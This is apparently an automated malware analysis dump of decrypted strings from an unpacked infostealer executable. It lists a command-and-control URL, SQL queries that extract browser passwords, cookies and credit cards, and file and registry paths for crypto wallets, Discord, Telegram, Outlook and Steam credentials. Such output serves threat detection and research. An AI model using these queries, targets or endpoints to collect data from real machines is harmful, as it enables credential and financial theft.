Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: HAL9TH
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: JohnDoe
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: DISPLAY
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: http://185.215.113.206
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: /c4becf79229cb002.php
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: /68b591d6548ec281/
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: stok
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetFileAttributesA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: HeapFree
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetFileSize
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GlobalSize
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: IsWow64Process
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Process32Next
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetLocalTime
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: FreeLibrary
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetVolumeInformationA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Process32First
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetLocaleInfoA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetModuleFileNameA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: DeleteFileA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: FindNextFileA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: LocalFree
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: FindClose
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: LocalAlloc
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetFileSizeEx
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: ReadFile
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: SetFilePointer
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: WriteFile
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CreateFileA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: FindFirstFileA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CopyFileA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: VirtualProtect
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetLastError
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: lstrcpynA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: MultiByteToWideChar
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GlobalFree
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: WideCharToMultiByte
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GlobalAlloc
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: OpenProcess
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: TerminateProcess
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetCurrentProcessId
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: gdiplus.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: ole32.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: bcrypt.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: wininet.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: shlwapi.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: shell32.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: rstrtmgr.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: SelectObject
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: BitBlt
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: DeleteObject
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CreateCompatibleDC
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GdiplusStartup
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GdiplusShutdown
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GdipDisposeImage
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GdipFree
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CoUninitialize
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CoInitialize
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CoCreateInstance
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: BCryptDecrypt
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: BCryptSetProperty
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: BCryptDestroyKey
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetWindowRect
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetDesktopWindow
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetDC
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CloseWindow
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: wsprintfA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CharToOemW
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: wsprintfW
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: RegQueryValueExA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: RegEnumKeyExA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: RegOpenKeyExA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: RegCloseKey
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: RegEnumValueA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CryptUnprotectData
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: SHGetFolderPathA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: ShellExecuteExA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: InternetOpenUrlA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: InternetConnectA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: InternetCloseHandle
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: HttpSendRequestA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: HttpOpenRequestA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: InternetReadFile
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: InternetCrackUrlA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: StrCmpCA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: StrStrA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: StrCmpCW
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: PathMatchSpecA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: RmStartSession
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: RmRegisterResources
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: RmGetList
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: RmEndSession
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: sqlite3_open
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: sqlite3_step
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: sqlite3_column_text
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: sqlite3_finalize
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: sqlite3_close
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: sqlite3_column_blob
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: encrypted_key
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: PATH
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: NSS_Init
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: NSS_Shutdown
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: PK11_FreeSlot
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: PK11_Authenticate
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: C:\ProgramData\
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: browser:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: profile:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: url:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: login:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: password:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Opera
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: OperaGX
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Network
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: cookies
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: .txt
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: TRUE
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: FALSE
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: autofill
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: history
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: cc
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: name:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: month:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: year:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: card:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Cookies
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Login Data
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Web Data
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: History
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: logins.json
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: formSubmitURL
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: usernameField
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: encryptedUsername
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: encryptedPassword
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: guid
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: cookies.sqlite
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: formhistory.sqlite
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: places.sqlite
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: plugins
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Local Extension Settings
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Sync Extension Settings
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: IndexedDB
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Opera Stable
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Opera GX Stable
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CURRENT
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: chrome-extension_
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Local State
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: profiles.ini
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: chrome
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: opera
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: firefox
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: wallets
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: ProductName
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: x32
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: x64
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: DisplayName
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: DisplayVersion
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Network Info:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - IP: IP?
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - Country: ISO?
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: System Summary:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - HWID:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - OS:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - Architecture:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - UserName:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - Computer Name:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - Local Time:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - UTC:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - Language:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - Keyboards:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - Laptop:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - Running Path:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - CPU:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - Threads:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - Cores:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - RAM:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - Display Resolution:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: - GPU:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: User Agents:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Installed Apps:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: All Users:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Current User:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Process List:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: system_info.txt
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: freebl3.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: mozglue.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: msvcp140.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: nss3.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: softokn3.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: vcruntime140.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: \Temp\
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: .exe
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: runas
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: open
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: /c start
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: %DESKTOP%
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: %APPDATA%
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: %USERPROFILE%
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: %DOCUMENTS%
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: %RECENT%
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: *.lnk
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: files
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: \discord\
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: \Telegram Desktop\
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: key_datas
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: map*
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Telegram
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Tox
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: *.tox
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: *.ini
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Password
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: 00000001
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: 00000002
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: 00000003
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: 00000004
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Pidgin
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: \.purple\
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: accounts.xml
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: token:
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Software\Valve\Steam
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: SteamPath
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: \config\
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: ssfn*
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: config.vdf
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: DialogConfig.vdf
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: libraryfolders.vdf
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: loginusers.vdf
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: \Steam\
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: sqlite3.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: done
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: soft
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: \Discord\tokens.txt
